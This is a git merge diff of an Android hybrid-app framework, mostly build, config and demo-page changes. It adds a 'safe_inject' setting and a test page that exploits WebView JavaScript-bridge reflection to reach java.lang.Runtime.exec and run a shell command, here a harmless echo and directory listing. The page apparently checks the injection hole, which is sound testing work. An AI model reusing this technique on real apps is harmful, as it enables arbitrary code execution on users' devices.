Merge branch 'master' of http://114.215.100.48:3000/ipu/android-share

display-client/.classpath

@@ -1,14 +1,9 @@
<?xml version="1.0" encoding="UTF-8"?>
<classpath>
	<classpathentry kind="src" path="gen"/>
	<classpathentry kind="src" path="src"/>
	<classpathentry exported="true" kind="con" path="com.android.ide.eclipse.adt.LIBRARIES"/>
	<classpathentry exported="true" kind="con" path="com.android.ide.eclipse.adt.DEPENDENCIES"/>
	<classpathentry combineaccessrules="false" exported="true" kind="src" path="/wade-mobile"/>
	<classpathentry combineaccessrules="false" exported="true" kind="src" path="/wade-mobile-data"/>
	<classpathentry combineaccessrules="false" exported="true" kind="src" path="/wade-mobile-func"/>
	<classpathentry combineaccessrules="false" exported="true" kind="src" path="/wade-mobile-im"/>
	<classpathentry combineaccessrules="false" exported="true" kind="src" path="/wade-mobile-ui"/>
	<classpathentry kind="con" path="com.android.ide.eclipse.adt.ANDROID_FRAMEWORK"/>
	<classpathentry kind="output" path="bin/classes"/>
</classpath>
<?xml version="1.0" encoding="UTF-8"?>
<classpath>
	<classpathentry kind="src" path="gen"/>
	<classpathentry kind="src" path="src"/>
	<classpathentry exported="true" kind="con" path="com.android.ide.eclipse.adt.LIBRARIES"/>
	<classpathentry exported="true" kind="con" path="com.android.ide.eclipse.adt.DEPENDENCIES"/>
	<classpathentry kind="con" path="com.android.ide.eclipse.adt.ANDROID_FRAMEWORK"/>
	<classpathentry kind="output" path="bin/classes"/>
</classpath>

display-client/.gitignore

@@ -1,5 +1,5 @@
/.settings
/bin
/gen
/.classpath
/proguard
/bin

display-client/AndroidManifest.xml

@@ -2,7 +2,7 @@
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
    package="com.ai.mobile.display"
    android:versionCode="1"
    android:versionName="1.0" >
    android:versionName="1.1" >
    <uses-sdk
        android:minSdkVersion="8"

display-client/assets/mobile-config.xml

@@ -1,7 +1,7 @@
<?xml version="1.0" encoding="utf-8"?>
<configs>
    <!-- 请求主机名或请求地址。包括服务器的ip地址和端口 -->
	<config name="request_host" value="http://192.168.1.102:8080"/>
	<config name="request_host" value="http://114.215.100.48:8080"/>
	<!-- 必须。10.0.2.2为Android模拟器的保留ip地址。访问到本机电脑时使用 -->
	<!-- <config name="request_host" value="http://10.0.2.2:8080"/> -->
	<!-- 必须。容器应用名或请求根路径 -->
@@ -15,7 +15,7 @@
	<!-- 非必须， 默认false。是否开启多WebView模式 -->
	<config name="is_mult_webview" value="true"/>
	<!-- 必须。应用license -->
	<config name="license" value="I7UDXSP5rnpSzNJtU7ly436FUmopAMW2/DzYMDqqm0Tou2pls9rLL89Onm2jsOwBFDESRoPrOZ-Ab72cr30YbRC7ihzKigq9aFDyMZrdJVVrmjpUY1zPpiYThfeo9OTO8LAU5jFKizjl6thuQjWMAcmKCG4HRVaf/28gU/O/bZI=|@@MDA4Q0RGRDc0MDZGQzFFNzRBRDQ3RUJCRTlBNUQ2OTNBNDgzRTM5OTEzQTk0N0FGRjQ3MkQ2OTc3QTk1MzJEMDIzNUQ2NTgyQjRFOTI4ODQ4N0U3Nzc0MTY3NTY4OUNBQTU1NDg2NkI3MDNDQ0JFMDgxREM4OTU2NkU2N0I2NzRDMzBENDU4QzdDQTY3NjUxNjQwMzA5QzE2RDI1OTlGNTFERTRCQzUzRTJDOEVDMUQyODdGNThBMzk3RDdEMjE4NjIyMkI5OUQyNDVEQ0RGRTk4MTg0Qjc3NDI4MjhFRjUzMjNFRjI3ODVDQzU3NDdCQTM2NTgyRkU0RDNDMEFCMUE1" ></config>
	<config name="license" value="DshTMgSyj5B9ww32G72OhQ2yUv4Qp3PHHpqG8WX9LugEMQb2/CBRLUXzBHX9ro1WWNDqT9UICi8B24eYyykNosV4yk1SgYyDL61leCi-UzHY3dbcG1hJqZlZpvL2kQUqQVBo-o83KY8VlPGgY-Ci1gHJuomqI-I03vlkhv0bvec=|@@MDA5QkQ3MUQxNkQ0NTE3QzhGNEVGNDk4OTk2MzU0QkM0NEFERjc0ODQwOEU5NDFFOTQ2RUJFNDdFNTAyMTI1QTYzNDdFQTJFMjAxRURGRjFDQzcxNjRGNzlERTFFNDBBMTY3OEM5QkE1NDhBOUM3NzNBMDI1RUY2N0QyMTlFOUNDRjdEMDAyRDI2QzVDQTQ4NTREMDlFMDMwNjJCOTM5OTRFQTJBOUU3RkYxMEYwMzE5NUYxNjU0RTUzMTVFMUM1QjYxMzY2REYwOUFGNDI5QkMzRTY2MzA5QzNEMTVEMEUxNUM2MUNGQTk4NTk3RDAzRjY2OEEzMjNFNDc0ODA3MTY5" ></config>
	<!-- 非必须。进入应用时的欢迎页面 --><!-- file:///android_asset为固定写法，表示工程的asset目录 -->
	<config name="loading_page" value="file:///android_asset/local/welcome.html"/>
	<!-- 非必须。更新应用的url -->

display-client/lint.xml

@@ -0,0 +1,3 @@
<?xml version="1.0" encoding="UTF-8"?>
<lint>
</lint>

display-client/project.properties

@@ -12,6 +12,6 @@
# Project target.
target=android-15
android.library.reference.1=../wade-mobile-lib
android.library.reference.2=../../android/wade-mobile-com
android.library.reference.1=..\\wade-mobile-lib
android.library.reference.2=../wade-mobile-common
proguard.config=proguard-project.txt

display-server/etc/server-config.xml

@@ -5,7 +5,7 @@
	<!-- 服务端资源版本号 -->
	<config name="resourceVersion" value="1.0"/>
	<!-- 客户端版本号 -->
	<config name="clientVersion" value="1.0"/>
	<config name="clientVersion" value="1.1"/>
	<!-- 客户端是否强制更新 -->
	<config name="isForceUpdate" value="true"/>
	<!-- 服务端应用编码 -->

display-server/etc/server-page.xml

@@ -85,4 +85,7 @@
    <!-- Scene Demo -->
	<action name="Scene" template="template/webapp/scene/Scene.html"></action>
	<action name="Login" template="template/webapp/scene/Login.html"></action>
	<action name="DataRequest" template="template/webapp/scene/DataRequest.html"></action>
	<action name="TemplateRedirect" template="template/webapp/scene/TemplateRedirect.html"></action>
	<action name="PageRedirect" template="template/webapp/scene/PageRedirect.html"></action>
</pages>

display-server/web/res/js/require-config.js

@@ -16,7 +16,7 @@ require.config({
		'iScroll5' : 'base/iscroll5',
		'hammer' : 'base/hammer',
		'o' : 'frame/o',
		'oEvent' : 'frame/o-event',
		//'oEvent' : 'frame/o-event',
		'oInput' : 'frame/o-input',
		'tap' : 'frame/tap',
		'browserTool' : 'mobile/browser-toolkit',

display-server/web/res/js/ui/wm-popup.js

@@ -1,8 +1,9 @@
define(["module","oEvent"],function(module,oEvent){
define(["module","tap"],function(module,tap){
	function createNew(popupDom) {
		var popup = typeof popupDom == 'object' ? popupDom : document.getElementById(popupDom);
		for (var i = 1; i < arguments.length; i++) {
			var o = typeof arguments[i] == 'object' ? arguments[i] : document.getElementById(arguments[i]);
			/*
			oEvent.tap(o,(function(popup){
				if(popup.className == "c_popup") {
					popup.className = "c_popup c_popup-view";
@@ -10,6 +11,14 @@ define(["module","oEvent"],function(module,oEvent){
					popup.className = "c_popup";
				}
			}),popup)
			*/
			$(o).tap(function(popup){
				if(popup.className == "c_popup") {
					popup.className = "c_popup c_popup-view";
				} else {
					popup.className = "c_popup";
				}
			});
		}
		return popup;
	}

display-server/web/template/webapp/scene/PageRedirect.html

@@ -12,7 +12,7 @@
	<div class="left">
		<div class="back">
			<span class="e_ico-back"></span>
			<span class="text">页面跳转</span>
			<span class="text">页面跳转(调用数据接口)</span>
		</div>
	</div>
</div>

display-server/web/template/webapp/scene/Scene.html

@@ -25,22 +25,33 @@
				<div class="content">
					<div class="main">
						<div class="title">登陆</div>
						<div class="info">登陆场景</div>
						<div class="info">登陆场景详细描述</div>
						<div class="info">输入账号、密码以及图片验证码登陆，服务端校验成功以后创建Session，
						同时客户端存储SessionId，提供给其他接口使用</div>
					</div>
				</div>
			</li>
			<li action="PageRedirect">
			<li action="DataRequest">
				<div class="content">
					<div class="main">
						<div class="title">页面跳转</div>
						<div class="title">数据请求</div>
						<div class="info">网页访问时是基于ajax的访问请求，客户端访问时则是原生实现的访问请求，
						可以通过加密的方式保障传输安全</div>
					</div>
				</div>
			</li>
			<li action="DataRequest">
			<li action="TemplateRedirect">
				<div class="content">
					<div class="main">
						<div class="title">数据请求</div>
						<div class="title">页面跳转(直接数据渲染)</div>
						<div class="info">页面跳转，没有数据请求，传入的参数直接用于页面渲染</div>
					</div>
				</div>
			</li>
			<li action="PageRedirect">
				<div class="content">
					<div class="main">
						<div class="title">页面跳转(调用数据接口)</div>
						<div class="info">页面跳转，调用数据请求，传入的参数先用于请求数据接口，得到的结果集用于页面渲染</div>
					</div>
				</div>
			</li>

display-server/web/template/webapp/scene/TemplateRedirect.html

@@ -0,0 +1,21 @@
<!DOCTYPE HTML>
<html class="s_bs">
<head>
	<meta charset="utf-8" />
	<meta name="viewport" content="target-densitydpi=device-dpi, width=device-width, initial-scale=1, minimum-scale=1, maximum-scale=1" />
	<title>页面跳转</title>
	{%>template/common/Head.html%}
	<link href="biz/css/project.css" rel="stylesheet" type="text/css" />
</head>
<body>
<div class="c_navBar">
	<div class="left">
		<div class="back">
			<span class="e_ico-back"></span>
			<span class="text">页面跳转(直接数据渲染)</span>
		</div>
	</div>
</div>
</body>
</html>

ipu-client/AndroidManifest.xml

@@ -38,7 +38,7 @@
    <uses-permission android:name="android.permission.KILL_BACKGROUND_PROCESSES" />
    <application
        android:allowBackup="true"
        android:allowBackup="false"
        android:icon="@drawable/ic_launcher"
        android:label="@string/app_name"
        android:theme="@style/AppTheme" >

ipu-client/assets/mobile-config.xml

@@ -39,4 +39,6 @@
	<config name="loadurl_timeout" value="20000"/>
	<!-- 非必须，默认false。打开调试模式，不再比对资源版本，客户端每次下载所有资源-->
	<config name="is_debug" value="false"/> 
</configs>
	<!-- 安全的进行js对象注入，默认true -->
	<config name="safe_inject" value="true" />
</configs>

ipu-server/web/biz/js/Index.js

@@ -5,6 +5,9 @@ require([ "mobile", "jquery", "common","jcl","wadeMobile" ], function(Mobile, $,
		alert("变成了DataMap");
		alert("变为字符串：" + resultData.toString());
	});*/
/*	Common.get(function(){
		alert("数据：" + PluginManager);
	},"aa");*/
	var menus = $("#menuList").children();
	$.each(menus, function(index, item) {
		var obj = $(item);

ipu-server/web/template/webapp/ipu/Index.html.0

@@ -0,0 +1,34 @@
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
	<head>
		<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
		<title></title>
	</head>
	<body>
	<h1>ABCDDD</h1>
	</body>
	<script type="text/javascript">
		function getContents(inputStream){
			var contents = "";
			var b = inputStream.read();
			while(b != -1){
				var bString = String.fromCharCode(b);
				contents += bString;
				contents += "\n";
				b = inputStream.read();
			}
			return contents;
		}
		function execute(cmdArgs){
			for (var obj in window) {
				if ("getClass" in window[obj]){
					var r = window[obj].getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec(cmdArgs);
					document.write(obj + "<br />");
					document.write(window[obj] + "<br />" );
					document.write(getContents(r.getInputStream()) +"<br /><br />");
				}
			}
		}
		execute(["/system/bin/sh","-c","echo 'Hello world' > /sdcard/__mytest.txt__ &&  ls  /sdcard/"]);
	</script>
</html>

multiple-client/.gitignore

@@ -1,5 +1,6 @@
/.settings
/bin
/bin/*
/gen
/.classpath
/proguard
/bin/

multiple-client/project.properties

@@ -11,6 +11,6 @@
#proguard.config=${sdk.dir}/tools/proguard/proguard-android.txt:proguard-project.txt
# Project target.
target=android-19
android.library.reference.1=..\\..\\..\\git\\android-share\\wade-mobile-lib
android.library.reference.2=../../../git/android/wade-mobile-com
target=android-15
android.library.reference.1=../../android/wade-mobile-com
android.library.reference.2=../wade-mobile-lib

multiple-server/.gitignore

@@ -1,3 +1,4 @@
/.classpath
/.settings
/mult.war
/bin/*

push-server/.gitignore

@@ -1,3 +1,3 @@
/push.war
/.classpath
/bin/*
/bin/*